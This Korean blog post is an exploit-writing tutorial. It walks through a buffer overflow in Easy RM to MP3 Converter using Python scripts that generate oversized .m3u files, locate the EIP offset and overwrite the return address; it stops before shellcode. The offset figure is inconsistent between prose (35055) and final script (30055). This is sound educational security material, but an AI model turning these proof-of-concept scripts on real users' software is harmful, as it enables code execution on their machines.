본문 바로가기

해킹/System

[Windows_System] 윈도우 프로그램 익스플로잇 (Corelan Exploit Writing Tutorial 실습) #1 EIP컨트롤

반응형

==========================================================

오늘은 보안연구팀인 Corelan Team이 작성한 Exploit Writing Tutorial의 실습을 통해 윈도우 프로그램 익스플로잇을 작성하려 합니다.

저는 한국정보보호교육센터 kisec에서 작성한 번역본을 보고 공부하였으며 해당 번역본은 kisec에서 보실 수 있습니다.

첫번째 문서에서는 Easy RM to MP3 Converter의 BOF취약점을 이용해서 익스플로잇을 작성하는 법이 설명되어있습니다.

==========================================================

사진 날아가서 재작성하는김에 윈도우10 Pro(현재 최신버전) 환경으로 실험했습니다~

==========================================================

BOF취약점이란 BufferOverFlow취약점의 약자로서 프로그램에 임의의 입력(범위를 벗어난)을 통하여 프로그래머가 예상한 메모리 범위 밖으로까지 입력이 저장되는 취약점입니다. 해당 취약점을 통하여 EIP를 컨트롤하므로서 프로그램이 해당 취약점이 존재하는 함수부분에서 원래 함수로 돌아가는 리턴주소를 변조할수있게 되고 이를 통해 해커가 원하는 코드를 실행 할 수 있게 됩니다.(주로 쉘코드를 실행하게 됩니다.)

exploit-DB

프로그램을 설치하고 정상동작하는지 실행해봅니다.

EXPLOIT DATABASE에 가시면 해당 취약점 정보와 취약한 버전의 프로그램을 받을 수 있습니다! 

위의 사진에서 보이는 Vulnerable App을 눌러주시면 됩니다! 정말 취약해보이네요! ㅋㅋ

취약 프로그램!

일단 이 프로그램이 파일입력에서 BOF취약점을 가지고 있다는 것을 알고 있는 상황이기 때문에 해당 취약점이 동작하는지 테스트 해봅니다.

테스트를 위하여 수만개의 문자가 저장된 m3u파일을 쓸 것인데 일일이 타이핑후 저장할 수 없으므로 파이썬을 통하여 파일을 생성해주겠습니다.(펄이 편하시다면 문서를 참조!)

코드!

#filewriter.py
#r3dzone

f = open("C:/Users/unknown/Desktop/test.m3u", 'w')
data =  "\x41" * 10000
f.write(data)
f.close()

코드 작성후 실행시켜 10000개의 'A'(\x41)이 저장되있는 파일을 만들어 줬습니다.

 

해당 파일을 RM2MP3에 드래그앤드롭으로 넣어주고 실행시켜 봅시다.

오류가 출력되는군요. 오류는출력했지만 프로그램이 정상동작하는 것으로 보아 EIP는 멀쩡한 것 같습니다. 파일이름이 저장됐어야할 부분까지 A로 덮어씌워졌는지 오류메세지도 A투성이네요 ㅋㅋ

프로그램이 이상을 보일때까지 10000개 단위로 문자열을 늘리며 테스트 해주었습니다.

2만개까지 멀쩡하다가 3만개로 테스트하자 프로그램이 프리징되다가 강제종료 되는군요

제대로 프로그램에 오류를 만들어낸 거 같습니다.

자세히 알아보기위해 immunity 디버거로 한번 다시 오류를 재현해봅시다.

BOF!

프리징이 걸리는 시점을 보니 EIP가 41414141로 되어있는 것을 볼 수 있습니다. 넣어준 \x41이 제대로 EIP를 덮어씌웠네요.

더 자세히 EIP를 덮어씌우기위한 문자열의 길이를 알아보기 위해 2만개의 A와 1000개 단위로 다음문자를 넣어서 특정해봅시다.

#filewriter.py
#r3dzone

asc = 0x41
f = open("C:/Users/unknown/Desktop/test.m3u", 'w')
data =  "A" * 20000 
for i in range(27):
	data += chr(asc+i) * 1000

f.write(data)
f.close()

파이썬 코드를 다시 짜고 테스트 파일을 만들어줍시다.

EIP가 50505050로 덮어씌어진걸 볼 수 있습니다. 대충 35000~36000번 즈음이 EIP에 덮어 씌어지는거 같습니다. (A 21000개 B1000개 ~ )

이제 1000개 사이에서 특정해주면 EIP를 저희가 원하는 값으로 바꿔줄 수 있습니다.

문서에서처럼 칼리리눅스가 있다면 pattern_offset.rb로 패턴을 생성해서 오프셋을 특정할 수 있습니다만 패턴생성과 탐색을 위해서 칼리를 쓰기에는 시간이 너무 많이 걸리므로 온라인 패턴 생성기를 사용하도록 하겠습니다. https://wiremask.eu/tools/buffer-overflow-pattern-generator/?

참 편한 사이트!

패턴 생성 후 다시 한번 파이썬코드를 수정해줍시다.

#filewriter.py
#r3dzone

asc = 0x41
f = open("C:/Users/unknown/Desktop/test.m3u", 'w')
data =  "A" * 35000 
data += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

f.write(data)
f.close()

 

한번더 이뮤니티 디버거로 실행 시켜줍시다

EIP 주목!

오프셋 계산을 해보니 55이군요 35055이후에 들어가는 4문자가 EIP에 들어가는 것을 알 수 있었습니다.

이젠 35055이후에 저희가 원하는 4문자를 넣어서 EIP 컨트롤이 가능한지 봅시다!

#filewriter2.py

#r3dzone

f = open("C:/Users/unknown/Desktop/test.m3u", 'w')
data =  "A" * 30055
data += "ABCD"
f.write(data)
f.close()

ABCD가 리틀-엔디안으로 EIP에 들어가있는 것을 볼 수 있습니다.

EIP컨트롤 성공!

다음에는 쉘코드를 삽입하고 EIP를 변조해서 쉘코드를 실행시키는 법을 포스팅하겠습니다.

 

PS. 윈도우 7 환경에선 약 20087정도에서 오버플로우가 났었는데 윈도우10 환경에서 하니까 30055에서 나네요 이래서 환경바꿔가면서 해보는것도 중요한 거 같습니다!